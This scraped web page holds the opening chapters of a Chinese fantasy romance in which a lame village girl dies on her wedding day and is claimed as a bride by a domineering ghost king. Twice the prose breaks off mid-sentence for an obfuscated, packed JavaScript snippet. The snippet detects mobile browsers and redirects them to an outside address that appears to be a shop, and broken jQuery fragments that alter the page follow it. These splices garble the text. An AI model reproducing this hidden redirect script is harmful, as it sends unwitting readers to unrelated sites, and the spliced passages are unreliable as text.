《笨阴差她拒当鬼王夫人》
1. 强娶
沈照水细细声嗓第三次断掉时,黄泉路口的青鬼阴差鼓而白的膨大眼球翻一转,笔杆头在记簿上敲出刻薄声音。
“噔、噔、噔……”
一股惊悚的预感蚂蚁一样在她心头乱爬——再答不上来,那笔杆很大可能会敲在她身上泄愤。
沈照水死了。死在出嫁这一天,死因……支吾了三次答不上来。
“命数既定数,所有人的因缘际会都是定死了的!答不上来你的死因,我怎么知道你的命数有没有出岔子?”
“你一只鬼出了岔子是小,百万只鬼都出了岔子呢?阎君怪罪,你负责得起??”
这阴差也不知是个什么东西化成形的,没四块豆腐高,坐在黄泉路口一张方木案前像个黑青的矮胖□□,皮肤裹皱,高耸尖尖的黑色帽子随着他的咒骂一抖一抖的,诡异又滑稽。
沈照水低着脑袋没敢和他直视。
身上鲜艳的红嫁衣在昏黑冥冥的黄泉路上有股碍眼的傻气。
没有花纹,只是朱红布料粗粗裁出来一身新衣裳,就当是嫁衣了。
她的婚事办的潦草又慌急。直到上了花轿,走到日落西山,沈照水才听到轿夫们低声闲谈——成哥儿前天死了!
她丈夫梁成比她大三岁,今年二十。两家说亲,沈照水是个瘸子,梁成是个病秧子,凑合凑合也成。
爹娘自打她生下来就没舒展的眉眼终于开了。他们乡下人家,怎么过不是过?嫁出去的女儿泼出去的水,今后什么日子横竖与他们无关。
但沈照水心里像长了片蒲草丛,乱蓬蓬的,没个样子。
日子是她的日子,总不能像个无头苍蝇一头撞死。
村子里的年轻姑娘常会采花摘果补贴家用。有次,沈照水和小姐妹们卖完花没有直接回家,偷偷绕远路躲在梁家门口的柴堆边望了一眼。
梁成生得白白净净,瘦瘦高高的,说话轻声细语很温柔。他姐姐姐夫编草席为生,他就在旁边慢条斯理打下手。
沈照水脸颊顿时烧红,粗布裙摆虚虚贴着她那条天生的瘸腿,花篮搁在地上,还剩几株零星的小花。
梁成比村子里那些黑壮壮、黄瘦瘦的汉子好看,斯文。
沈照水把剩下的花拢在虎口,从怀里扯出从梁家送来做聘礼的布匹上剪下来一根细细的布条,轻轻卷在小小的花束上,与花束一起留在了梁家的柴堆旁。
这小布条他一定认得。
果然,不久后,沈照水总能在自家后山坡上看到拖着病体的梁成。他一个人在那转悠,一看见她便远远的笑。
两人就此通了心意。
可是——
梁成,她的成哥儿!死了!
她人还在花轿上,他怎么就死了?为什么没人告诉她这个新娘子?为什么要骗她一切正常??
沈照水眼泪慌慌落下,盖头扯下来,一把撩起轿帘子要问他们个明白——
“然后我就死了……眼前一白,什么都不知道……”
沈照水声如蚊呐,嫁衣一角被攥揉得发皱。
“啪——”
登记死因的厚簿子被重重拍在桌案上,发出撞耳的可怖闷声。“□□”阴差气得跳起来,尖帽子歪到耳朵上。
他哇啦哇啦骂:“原因!原因!谁要听你扯东扯西!你回头看看有多少鬼等着登记进入阴曹地府?!所有人被你挡着,时辰一过大家都当孤魂野鬼好啦!”
此话一出,黄泉路上排着队的鬼魂们顿时聒噪起来。
“别啊别啊!我们又没有做错什么……”
“官爷,我是掉河里淹死的!我记得清清楚楚的,先登记我成不?”
“我我我!我是发高热病死的……”
阴风卷起沈照水脚边灰白的细沙石子,略微翻腾间沙石便湮败成灰。路边衰草枯杨不知死了几百年,只有个草木样子,不见一点果叶,凄冷萧瑟。
大家你一言我一语,叽叽喳喳踊跃报着自己的死因,生怕真成了孤魂野鬼,入不了轮回,最后魂飞魄散。
突然间,有鬼骂了一句:“死瘸子,死了还挡路!”
沈照水浑身一抖,右腿下意识往裙子里藏,局促得可怜。
还没进地府,却像在油锅地狱。无数言语如滚热的油泡,直往她身上逼。
沈照水薄薄的唇嗫嚅一下,怯望了一眼身后,却见乌泱泱攒动的鬼魂全都急切躁动,一双双眼睛含恨带怨瞪着她。
这叫她如何申诉?
诸多新鬼,唯独她不知道自己怎么死的。花轿里红盖头扯下来,然后呢?然后呢?沈照水脑子里雾蒙蒙的。
心口憋着一股气,又酸又涩还带着委屈,喉咙口噎得生疼,眼泪吧嗒吧嗒掉下来。
登记亡魂的差事出了这个小岔子,青鬼阴差对这蠢货女人的眼泪视若无睹,厚厚的嘴唇上下飞快碰在一起,唾沫横飞:
“哭什么哭?本大爷有时间跟你耗?憋回去!这年头的鬼真是越来越笨!投胎也是当猪……啰……”
最后两个字,他那吵吵嚷嚷的声腔忽然沙哑,拖长,断开,最后——
“嗒!”
“□□”脑袋从碗口大的颈项囫囵掉下来,嗒一声落在小方桌上,舌头都没来得及收回去,湿漉漉在外头抻着,粉红的边缘还在蠕动着,如虫蛆。
沈照水眼泪顿住,眼珠子惊恐僵在眼眶里——一个阴差,在她面前被枭首了!
众鬼刹那悚栗无声,下一瞬间风啸般哗然,惊慌乱叫,黄泉路口炸开了锅。
与这阴差一道当值的还有另外两个阴差,他们原本靠在不远处一颗歪脖子衰杨下,等着一会儿过来换班,谁知一个眨眼间便没了一个同僚!两人只见沈照水站在阴差尸体前,对视一眼,黄白崎岖的牙齿相对一咬,异口同声:
“你这小瘸子反了天!阴差都敢杀!”
二人皆怀抱着雪亮的大刀,飞身飘来,直冲着愣在登记处的沈照水。
她身后的鬼魂们眼见出了大事,一下子纷纷跳开,恨不得离这女的八百里远。
寒气刀刃刹那杀来,沈照水抱头尖叫,眼睛紧闭,身体动弹不得——她什么都没干呀!从小到大连只老鼠都能欺负到她头上,她怎么敢杀阴差?又怎么能杀阴差?
可没人在乎,丈长的大刀马上就要落在她这轻飘飘的魂魄上……
咣当——
咣当——
两声响,大刀落在满是细砂石子的路上。
沈照水眉头微皱,一只眼睛哆哆嗦嗦睁开条缝:
两个凶神恶煞的阴差目光定在远处,不知看到了什么,四个眼球同时震动,满是不可思议的惊撼。
一个阴差双腿发软,身子控制不住朝另一位倒下去;尚能站立的阴差一手薅起他,转身朝黄泉路的尽头逃离,半飞半跌,绝望的破锣嗓子抖得能筛糠:
“裴幽……哦不……鬼王大人来了!鬼王大人尊驾降临,你们死哪里去了!!”
两人前倨后恭变化之快,只在沈照水睁眼之间。
谁?谁来了?
她还注视着两位阴差仓皇而去的背影。他们太慌张,跑掉的时候还撞了一下登记处的小木桌。青鬼阴差的“□□”脑袋被颠到桌角,滚了一圈,掉到地上继续滚。
滚过沈照水脚边的时候,她缩脖子倒抽了口气,往旁边挪开步子。
脑袋……方才还鲜活的脑袋,此刻瞪眼吐舌,占满它黑青的浆液……不争气的眼泪又漫出来,沈照水只能咬着唇不让自己哭出声。
她背身不敢看脑袋的去处,不知有只蹬靴的脚精准踩在青鬼脑袋上,嫌恶十足地碾了碾。
“被这么个丑东西骂,出息。”
是个男人的声音。
冷冷的,毫无感情,却有千钧威严,轻飘飘一句便让沈照水打了抖。
来人是阴差们方才说的“鬼王”?
听这口气,刚才多半是他动的手了……
沈照水自小是个软包子,只要一觉危险就把脑袋垂下去,不听不看,浑当没自己这个人。这很有几分呆像,但已经是她能学会的较聪明的法子。
她此刻盯着自己胸口,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991918|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大气不敢喘,拖着瘸腿小小挪动,往众鬼那边靠过去,一心只想降低存在感,给这位大人物让路。
想不起自己的死因,她便入不了地府投胎,注定魂飞魄散。但要是惹了鬼王大人,万一人家捻死她,比魂飞魄散还惨?沈照水苦巴巴瘪着嘴,步子挪得更快……
“你。”
忽然,那道冷冷的男声开口。沈照水双腿蹿上来一股寒意。
他在叫她……
心脏沉沉,沈照水视死如归般微微侧了一个肩膀的角度,埋着头不敢直视,一副悉听吩咐的怂包样子。
不知道是不是神经太紧张产生了幻听,有一声浅浅的冷笑传进沈照水耳朵里。
“孤很恐怖?怕成这样。”
他尾音里含着看不上眼的嘲讽,还有一丝不解,仿佛根本不知道先前那两位阴差为什么落荒而逃。
沈照水听见他缓缓走来,一点点靠近她。
时间被无限拉长,忐忑如凌迟一般绞杀着沈照水。
他要干什么?把她的脑袋也切下来?她刚死就要当无头鬼?……心里脑里一团浆糊,所有疑问都指向一个结局——她完蛋了!
他靠近,有股阴风扑过来。一身层层叠叠的黑袍微微翻飞,像一朵雍容凌乱的墨色牡丹。
沈照水浑身一抖,透亮大滴的眼泪扑簌簌掉下来,一颗,两颗,三颗……
男人眉头拧了一下,脚步停缓,立在她面前。
鬼使神差的,他手心向上停在沈照水下颌处。
那是一只苍白的玉手,修长漂亮,骨节分明,掌心里躺着她晶莹的眼泪。
沈照水:?
“啧,真爱哭。”
男人身量极高,沈照水头顶只将将到他肩膀。
她慌张中乱抬了一眼,这鬼王相貌清冷,肤白至微微透明,霜一样,双唇薄翘含珠,挺拔高鼻侧边投出一片阴影,美丽中带有阴森气质,比女孩子还好看……可再往上的五官,沈照水便连抬眼的勇气也没了。
视线里,那张线条极美的薄唇思忖着低声念了一句,似乎说给他自己听:
“算了,爱哭就爱哭吧。”
他收回手,清澈目光落在沈照水身上。
“你如今叫什么名字?”
“我?我,我叫沈照水。”
男人轻嗯一声,语气里的骄矜毫不掩饰:
“沈照水,孤要娶你。”
啊?
娶她?就这么天降一个大人物给她这跛脚乡下姑娘当丈夫???
……鬼王大人怎么比她村子里的老光棍还急?
沈照水默默质疑,吃惊之外却想起一件事,弱弱指了指黄泉路尽头。
“……大人也许不知,我已有丈夫,他如今应该正在地府里头。”
突然,男人弯腰躬身,昳丽容貌不容分说冲撞入沈照水眼眸。
他眉骨突出流畅,长眉薄俊,墨色眉头含怒微锁,一双眸子漆黑似镜嵌在薄薄的眼皮之下,被纤长的蝶睫掩映,闪烁着骄横的质疑:
“已有丈夫?谁准的?”
薄唇轻哼,他死死盯着沈照水无辜懵懂的双眼,一字一句仿佛置气:
“孤、不、准。”
说完,这人一把扣住沈照水手腕,大摇大摆走向黄泉路。
与登记处的小方桌擦身而过,他下视一眼,利落踹了脚阴差的无头尸体。
鲜灵灵的青尸翻转一圈,啪叽摔在黄泉路上。
更像□□了。
沈照水眨巴眨巴眼,飞速转移视线。黄泉路尽头,巍峨的酆都城层峦叠嶂般伫立在阴云暗光之中不怒自威。
她无措得双臂发麻:“等等!大人,我不记得我的死因,阴差大人们说我不能进地府,会坏了规矩……”
沈照水明明已经死了,此刻却仿佛还能感受到心脏猛烈跳动。
她慌忙抬头,错过男人眉目间闪过的一丝心虚错愕,只看见他漆眸微眯,浑不在意:
“规矩?”
“天地三界之中,我裴幽行才是规矩。”
2. 一女二夫
“沈照水,梧江县陈水村人,生于阳间丰朝至正十一年,卒于丰朝康和二年,享年十七。”
阎罗殿中,专司人间生死寿数的秦广王一手生死簿,一手哗啦哗啦焦急翻找"沈照水"的生平。
今天是什么大日子???哪阵不长眼的风把裴幽行这尊大佛吹来酆都城了!
底下鬼差来报,十位阎君任谁都恍惚了片刻。马不停蹄齐聚阎罗殿,刚跨进大殿门槛,一抬头,正殿宝座上面懒散支腿歪坐着的不是裴幽行那小祖宗是谁?
阎君们暗自互递眼色,一双双眼睛或大或小,或突或细,满是澄澈的忧伤,以及六个字。
惹不起,认命吧。
秦广王下巴上的山羊胡子一个劲抖动,翻簿途中视线直往上座的裴幽行身上瞟。
上一次见到这位创世母神一脉的继承人还是在三千年前。
那时他自毁神格,堕入恶道,踏碎酆都灵域十殿,杀得阴间满是断魂残魄……直至地府之人十仅存一,阎君们才知道裴幽行是为了找一个女子的魂魄。
找来找去,音讯全无。索性把碍眼的都杀了。
岂料这还未完,裴幽行不知哪根筋搭错了,抢走地府官印自封了个"鬼王”,从此便在阴曹地府强占了个位置。
众阎君只得咽下这一口气。倘若不咽又当如何呢?任裴幽行翻天覆地,谁也没有资格压他一头。
可谁知这位还是个甩手掌柜,自封当日起便不见了踪影,整整三千年,他是死是活无人知晓,成了倒悬三界之顶,随时可能暴怒的一柄魔剑。
再现身,便是如今拉着个平白无故的瘸腿姑娘说要成婚……
成婚便有问名纳吉种种繁琐,裴幽行的母亲早已神灭,这些事情谁来操持?还不是得他们这一干倒霉蛋来。
秦广王咽了咽唾沫,苍老的手指颤巍巍顺着沈照水的生平指下去:
“死于——”
还未等他说出口,眼前一道白光似刃飞来,直冲着他手头的生死簿。秦广王说时迟那时快,立刻脱手将未念完的生死簿丢了出去,朝宝座一拱手,听由吩咐。
其余阎君纷纷效仿,成排站立,恭敬拱手,不敢出一点声音。
高台之上,裴幽行的声音不辨喜怒:
“这时候还翻什么鬼簿子,当孤很闲?”
沈照水垂头同他坐在一张宝座上,像屁股下坐着一把火。
裴幽行生的极美,但唯独一袭长发不梳不理,及脚踝的发丝随性披散,有那么几缕便在他硬拽着沈照水坐在身旁时落在了她身后。
要是鬼王大人起身扯着头发了怎么办?多滑稽!
沈照水像被雨淋了的小鸡,哆哆嗦嗦想方设法蹭到座尾那边,把鬼王大人的青丝挪出来。
谁知刚动,一只冰凉的手绕过沈照水腰肢紧紧握住。下一瞬,沈照水便贴着裴幽行坐了。
说是坐,其实裴幽行是目中无人斜躺着,沈照水腰臀贴着的是他坚硬的大腿……
天可怜见,沈照水一辈子没挨男子这么近过!鸡皮疙瘩唰一下起来,心里翻腾如小米粥,咕嘟滚开,心绪又烫又粘。
她恨不得立刻跳起来躲得远远的,可裴幽行的手还在腰侧,沈照水一点办法都没有,只有把自己放空,神飞天外缓解尴尬。
但当听见秦广王即将说起自己的死因,沈照水羞怯佝偻着的腰肢一下子挺直了。
她到要知道究竟是什么原因害她落得此刻这个尴尬地步?
沈照水脖子伸得长长的望着高台之下,谁知裴幽行突然动作,她的那本生死簿落在地上,幽蓝鬼火烧了起来,眨眼间书页便成了黑灰。
“怎么烧了……”
沈照水一时荒神,知道这满殿人物轮不到自己说话,但事已至此,她不得不为自己争一争。
鼓起勇气用了并不熟练的响亮声音,她断断续续:“各位大人,簿上有我的生平。我今年方定了亲,是同村的梁成,我的簿子上定有他的名字……”
没说完,沈照水幽幽察觉到一股凉得吓人的目光,嗓子顿时被掐住似的,最后一句"我不能抛弃丈夫另嫁”还是咽了下去。
“是吗?现下簿子已无,你的从前一笔勾销,孤才是你的丈夫。”
裴幽行慢条斯理起身,缓缓靠近僵座的沈照水,语调平常,却让沈照水感到绝望。
一女怎么能嫁二夫呢?
村子里的老妇人们常讲,一个女人要是嫁了两个丈夫,那这笔账可算不清!活着是进哪一家屋门?死了是进哪一家坟地?地府里的楚江王可专管这个,一个女人要是不规矩,生前惹了账,死后就会被劈成两半!
阴冷气息越靠沈照水越近,忽然顿住。
她又掉亮晶晶的小珠子了。
裴幽行眉头微拧,握着她腰侧的手渐渐往上,掌心拢住单薄的肩头。他动作极慢,收敛了恐吓的阴森,转而有一点淡得无味的关切:
“哭什么?告诉孤。”
沈照水破罐子破摔,双手一下子捂住脸嚎啕大哭:“嫁两个丈夫的女人会被楚江王砍掉的……我不要被砍掉……”
“……楚江王何在?”
台下一排阎君之中,楚江王着急忙慌上前一步,“鬼王大人明察!我司活大地狱,确实当管作奸犯科、乱纪造业,可女子嫁人何尝是业?就是嫁个百次千次,只要两心相知,你情我愿,天道都不会干涉。”
楚江王在这个位置上坐了上千年,头一次能为自己申辩一番。
民间爱嚼舌头,总是胡编乱造些罪罚规矩,行的是压人的私心,帽子却甩在了他们这些人头上。
纵你是神官灵将也有苦说不出。
沈照水捂脸的手掌有了松动,视线慢慢从指缝中探出。
一殿阎君,总不会骗她吧?
她入阴间以来第一次觉得松快。
原来那些条条框框的话竟然是骗人的!
然而没待她开心多久,一个念头忽然闪上来:可活生生一个成哥儿总不是骗人的。她的丈夫分明另有其人。
况且成儿哥温柔和蔼,鬼王阴晴不定,谁适合当丈夫用鼻子眼儿都能想出来。
沈照水从号啕大哭弱成抽泣,但绵绵密密,缕断不绝,像女人家的针线脚,点点滴滴扎在裴幽行心口。
怎么还哭?
裴幽行不会哄人,方才那点温柔已经是他能拿出来的十成十了。还不管用吗?他别无策。
心里乱烦,语气不自觉恢复森冷:“沈照水,你别欺人太甚。”
她欺人?!
沈照水差点没咬着自己舌头。
现在到底是谁欺负谁??
“我想成哥儿……”
这句说出口,裴幽行那双黑眸无波无澜凝在沈照水身上。
不知过了多久,他才幽幽开口:
“转轮王,梁成可是在你处?”
酆都地府十殿,转轮王是最后也是最忙碌的一殿,专司福罪判定,将鬼魂分配至六道轮回。
此刻,他手指上还沾着批写公文的墨汁,掐指一算道:“大人明断,此人正在我司辖处等待审定。”
地府各层之间由长长的铁索桥勾连,其间阴雾缭绕,致使桥道不明,通常是由押解的阴差举着照明火把驱散阴雾,押送鬼魂去往下一层冥殿受审。
裴幽行一说要前往转轮殿便有两位阴差持火在桥上相候。
沈照水自会走路那天起,家人就发现她右腿是瘸的。请了好些大夫来看,皆说:“你们家这姑娘神了,腿骨明明是好的,偏偏走不了路!”
于是爹娘只觉她怪样,从此再不相管,她也就瘸了一辈子。
铁索桥本就摇晃,她那瘸腿一踩上更是雪上加霜。
沈照水一把抓住半人高的铁索,寒冰似的触感又冻得她倒抽一口气,急忙缩回手。
这笨样叫身旁的裴幽行全数看了去,她表面上搓着手,心里却不慌不忙。
不知道这鬼王大人到底看上了她这孤魂野鬼哪一点,他的心意于她而言就像这铁索桥,阴冷迷茫,比船儿还飘摇。
但要是他看清楚了她如何笨拙普通,说不定也觉得自己是猪油蒙了心,自此放过好叫她得以往生?
正琢磨着,沈照水忽觉身上一轻,视线里两位阴差举着的火把也矮了。
“走这破什子木板真麻烦。”
裴幽行双臂稳稳托着沈照水将她抱起,纵身往桥下一跳,在迷蒙阴雾中直直坠落。
沈照水惊声尖叫,腥冷寒气灌了好几口,嗓子眼吞冰似的疼,撑不下去了一头栽在裴幽行胸口以捂住口鼻。
寂静,除了她的尖叫,她感受不到一点杂声。
鬼王大人没有心跳?也无吞咽声音?
他竟是死的。
裴幽行落地很轻盈,放下沈照水的动作却有几分燥意。
沈照水才站稳,双腿还打着颤,肩膀就被他指头嫌恶似的一推:
“见你的梁成去。”
与宝座高阶的阎罗殿不同,此处是一片汉白玉铺成的圆形广场,最远处伫立着六根雕刻各异的巨大石柱,分别上书:天、人、阿修罗、畜生、饿鬼、地狱。
这便是“六道”。
等待投胎的鬼魂聚集在广场上,等待进入广场中央的转轮殿,出殿便投入六道轮回。
沈照水站在广场边缘,看着眼前如蜂蛹鱼卵般的鬼魂们,一时说不出话来。
天下亡魂皆汇于此。她现在知道黄泉路口的阴差为什么那么暴躁了……
“照水?是照水吗?!”
忽然,一道细弱而惊喜的熟悉声音在不远处传来。
正是梁成。
沈照水终于见着了一个可靠的人,无故身亡又兼逼嫁的心情翻云倒海般扑倒她,一时间委屈得泪如雨下。
“成哥儿!”她跌跌撞撞跑向梁成,双手攥住他的手腕,哭得像迷路无依的小孩。
“你怎么死了!”
两人异口同声,双双震惊于会在地府看见对方。
“我着了风寒,一场高热下来没熬住,就先你一步来了。怎么,我姐姐姐夫未曾告诉你?”
沈照水咬着嘴唇摇头,一五一十把自己糊里糊涂入地府的经过全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991919|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说了。
“怎会如此……”
“我也奇怪,你姐姐应该差人来告诉我的——”
“鬼王大人果真要娶你?”
沈照水一噎,她万没想到梁成那张白白净净的脸上此刻浮动出的是对她的打量。
“那我梁家怎么办?我姐姐还盼着你嫁过来开枝散叶……唉,这都不说了,你还没入我家门,半路跟旁人跑了算怎么回事?……”
沈照水松开了梁成的手腕,双手垂落在自己身侧。
他仍然动情地啰啰嗦嗦,说的正是村里那套不规矩的女人要被砍成两半的谎话。
沈照水腹下一阵恶寒,恍然间她似乎从不认识眼前这个男人。
脚步虚晃,她往后偏倒,却发现身后有什么抵住了自己,让她有了支撑——
冰凉,寒气四溢,寂静无声。
“这种贱人值得你哭来哭去?”
裴幽行的嗓音里终于有了点情绪,苍白如玉的手指按了按额角,随即指尖一抬,梁成竟然飞了出去。
飞出去的那道弧线渐渐透明,梁成惨叫着撞上了那道刻着"畜生"的石柱,身影被石柱的光芒吞噬,再没踪迹。
沈照水傻了眼,愣在原地目瞪口呆。
“他命好,遇见孤今日脾气温柔,要是三千年前……定打得他魂飞魄散。”
裴幽行点了点沈照水瘦弱的肩膀,心情大好:“走,成婚吧。”
说完潇洒转身,却发现沈照水没有跟来。一回头……她又在哭。
“他走了,他走了,他不见了,我怎么办……”
沈照水面色恍惚,蹲下来抱着膝盖哇哇大哭。
一切都毁了!!!
梁成是个病秧子,嫁过去陪他个三五年攒些体己,等他一死她成了寡妇,为生存她出去开个小营生没人会指责她,那时她的自由日子就来了。
瘸了条腿又如何,就挣那么一口饭她还不行?
沈照水什么都算好了,可偏偏没算着会横死花轿,还被逼婚!
当鬼王的媳妇可不像当梁成的媳妇,梁成那身体三五年保准病死,这裴幽行呢?
大祸害,遗千年!
她生生世世熬不死他,谈何自由?
沈照水大哭特哭,嚎得裴幽行耳朵震痛。
他快步冲到沈照水面前,恶狠狠道:“再哭,孤现在就把梁成抓回来撕烂。”
“随便!”
自由无望,沈照水拿出了村子里学来的撒泼打滚之术,哭得此恨绵绵无绝期:
“反正我不嫁你!我不嫁你!我的日子没了,我千盼万盼能自由自在的日子!”
裴幽行双目欲眦,清澈的黑瞳被血色红丝缠绕,愤怒至可怖。
“你、你成婚,只是为了自己能过活?”
笑话,谁家姑娘嫁人不是为了过日子?沈照水不觉得自己有错。退一万步来说,她这小心思也是落在梁成身上,干他什么事?
“好好好,你……孤记下了。”
不知道裴幽行想到了什么,沈照水抹眼泪的时候偷看了他一眼,那脸色难看之极,仿佛受到了莫大的欺骗,咬牙切齿记了一笔账。
他那双冰冷的手朝她抓来,拎起她胳膊往自己怀里扯。
“和、孤、成、婚!”
“我、不、要!”
阎君们赶下来的时候,正见着他俩大眼瞪小眼互相不让。
秦广王暗自“哎哟”一声,着急忙慌拦着这两位祖宗。
“鬼王大人稍安勿躁,稍安勿躁……”他挡在了两人之间,朝其他阎君使了眼色,让他们稳住裴幽行,万莫让这二世祖再大开杀戒。自己则和楚江王、转轮王安慰沈照水。
“沈姑娘莫哭莫哭,有什么冤情委屈都可以告诉我们。”
沈照水见说话的是楚江王,想到他并非传言中滥用酷刑的阎王,慢慢松了咬唇的牙齿。
“我不嫁他……”
“唉,这么个混世魔王,谁愿意啊——”秦广王深表同情,两手一摊,悲哀之情溢于言表。
他司阎殿正是十方阎罗第一殿,三千年前被裴幽行杀得最干净。
转轮王飞速按住秦广王的手掌,低声呵斥:“慎言慎言!”
楚江王看看沈照水,又看看裴幽行,目光在秦广王和转轮王两个老同事之间一转,低头小声道:“本王懂得沈姑娘之苦,你是想早日轮回得自由?”
沈照水擦眼泪点头。
楚江王龙瞪虎顾的眉眼忽然间化开,“那沈姑娘,是否愿意帮我们阴曹诸府一个小忙?事成之后,我们必定护送姑娘轮回。”
秦广王和转轮王闻听此言,目光陡聚。
这沈姑娘柔柔弱弱,还是个瘸子,真的可以帮他们那件事吗?
堂堂一个阎君,居然对她有事相求?
沈照水问:“我帮你们的忙?”
楚江王笑而不语,手掌上摊,忽然一道绿光闪现,凝结成了一道玉牌,上有八字:阴官亲临,诸鬼必随。
“这是阴差令牌。”
“沈姑娘,它交给你了。”
3. 阴婚
楚江王小心翼翼抬着沈照水手臂,引她往裴幽行处去。
他轻轻拨开围着裴幽行的其他阎君,和颜悦色道:“鬼王大人,婚姻重礼,何必急于一时?”
“今日我阴曹恰失一位小吏,不如先让沈姑娘在地府谋一份差事,既可免去轮回之苦,又有与大人相处时日,何乐而不为?”
众阎君心怕裴幽行闹事,一见沈照水大小算个能安抚他之人,纷纷附和起楚江王。
裴幽行双臂一抱,目光越过他们,落在垂头跟着楚江王的沈照水身上。
“阴差?”
他上下一扫,没看出沈照水身上有什么当阴差的能力,反而像只呆头呆脑的笨鹅。
“鬼王夫人你不做,要听这群鬼老头糊弄你去做阴差,笨的可以。”
裴幽行踱步至沈照水面前,两根手指托起她的下巴,一双眼睛美若星辰却满含讥讽:
“真愿意当差?”
沈照水捏着令牌,心里想着这人要是阻挡她,她就撒丫子往六道石柱那里奔……
正设想着自己的悲壮之举,裴幽行忽然转身,冲着后边的阎君们厉声呵斥:
“孤道你们几个铁王八怎会平白拿出一份差使,‘缉魂阴差’?你们敢让她做苦力!”
原来沈照水捏着令牌,那八个代表阴差神力和职责的字被裴幽行一览无遗。
缉魂阴差便是地府官制中最微末的马前卒,夜夜在死亡之中穿梭,缉魂索命,将新魂压至地府。沈照水刚死的时候也见过这类阴差。
她真心觉得马前卒很不错了!何况楚江王说现在地府差职紧,每年就空出来那么丁点位置还几千鬼魂争一个呢!同时要限制鬼魂亡龄,太新太旧都被刷下去,还要详查生前是做什么的,有没有供职经验……
沈照水小声嘟囔,“芝麻官儿也是官儿嘛。”
裴幽行瞬间回头,一张玉似的俊脸气白了几分。
“你胳膊肘往外拐?”
他墨色长袖一甩,飞身而去,不知踪迹,空茫的地府阴云上只留余音,他还了沈照水一句:“随便。”
“孤不管了。”
沈照水傻眼,捧着令牌道:“这就走了?”
众阎君大舒一口气,秦广王道:“这位鬼王大人便是如此行踪诡谲,别说你了,我们都是有一宗没一宗地见他。沈姑娘习惯就好。”
说完,他拉起沈照水手腕,陪她踏上铁索桥。
“本王送沈姑娘还阳。姑娘谨记,此次地府一遭不可与生人语。缉魂阴差白日为凡人,夜中听令缉魂,自身魂魄离体,至日出时返回身体……”
沈照水认真记下秦广王的叮嘱,手里令牌越握越紧。
她是死过一次的人,鬼魂什么样子她也见过了,并非歪鼻子缺眼睛或者一脸血淋淋的样子,生时什么样死后便还是什么样,最多苍白一些,神态飘忽一些。
最吓人的只有裴幽行那个坏鬼!
沈照水对自己即将开始的事业想当上心,心口涨鼓鼓的,很澎湃。
可一瘸一拐走在铁索桥上,她意识逐渐迷迷糊糊,身旁秦广王的声音越来越远,像被罩住,雾蒙蒙的闷堵。
连眼睛也开始有点刺痛,好像一根针扎在睫毛根上了,银亮酸疼。
一睁眼,头顶悬着个纸扎的大红灯笼,垂着花花绿绿的丝绦,也是纸的。被风吹刮,乌拉乌拉转着,红红绿绿的光映照在沈照水脸上。
这是人味的落脚。俗气乱糟,但很有一点彩色的踏实。
她迷蒙坐起来,揉了揉眼睛,嗓音疲惫软钝,好像从沉梦中醒来。
“娘,爹。”
“哎呀!水丫头诈尸了!!!”
堂屋的人一哄而散,前一刻还往火盆里投的纸钱此时纷纷扬扬乱撒,有几张飘去了红灯笼上,又落到照水腿上。
她仍然穿着一袭嫁衣,料子却比上花轿时明显更好,甚至绣了几处“并蒂莲”的好意头。
沈照水被这身大红嫁衣冲得彻底清醒,定睛一看,这是自家堂屋,布置着喜气洋洋的剪纸贴花,红灯笼。
中间放着两口棺材还没封棺,她躺一口,另一口……她转头往里看,是梁成。
梁成的姐姐姐夫也在。
他姐姐冲向沈照水的娘,一把揪住她领口推搡起来,口中恨骂:
“你家这是什么情况?!她不是死了吗!”
沈照水她娘也吓得不轻,看了一眼好端端的沈照水,口中含糊道:“是呀是呀!死了的呀!乡长、轿夫都死了,她也一早没气的!”
沈照水的爹和哥哥眼见着这要打起来,赶忙拉开梁成姐姐。她哥哥解释:“亲家姐你先别嚷,说定了我妹妹尸体照样送你家配阴婚这不会变,她生是你们梁家的,死也是你们梁家的!”
“呸!”梁成姐夫吐了口唾沫,一拳锤在沈照水哥哥拉架的手臂上。
“你们家和乡长一伙!趁我弟弟死了,赶忙把女儿抬上无稷山献给山鬼,谁信你们的嘴!”
沈照水她爹粗声粗气开吼:“你们不知道?你们事先没同意?”
“献鬼的祭钱咱们两家分,你们可别得寸进尺!我们是可怜你家没了儿子才答应把女儿配阴婚的……”
“你这话不臊得慌?什么可怜我成弟,是不想退彩礼才答应的!”
堂屋里,这几个和沈照水血浓于水、沾亲带故的人没有一个人对她的死而复生感到惊喜。
她只是个棘手的麻烦,附带沾了点银钱屑子而已。
沈照水眼窝浅,下一次地府都不知道哭了多少回,但现在这个关头却没有哭。
她都明白。
大家都知道近来村子里闹鬼,死了一家的老婆婆和另一家的两个小孩儿。
传说无稷山密不见光的深林里有个山鬼,村子里死人就是他害的。乡长前一阵子鼓动着在村子里找年轻姑娘送到无稷山去当鬼新娘,平息山鬼老爷的怒火。
沈照水既庆幸自己定了亲不会被乡长选上,又为即将倒霉的那个姑娘而心疼。
结果兜兜转转,被献祭的人正是她。
屋里几个人吵得不可开交,最后是沈照水他爹发了话:“成哥儿他姐,水丫头反正是归你家的,你是现在就领她回去,还是将就着送到成哥儿那里,都听你的行不?”
梁成姐姐一听这话,心里琢磨起来。
这沈照水是个瘸子,领回去也干不了什么重活,还要她白白养着她,不划算;送下去给成哥儿,既解了成哥儿寂寞,又能对早逝的爹娘有个交代。
她松了手,傲着股气理了理袖口衣领,朝自家男人使了个眼色。
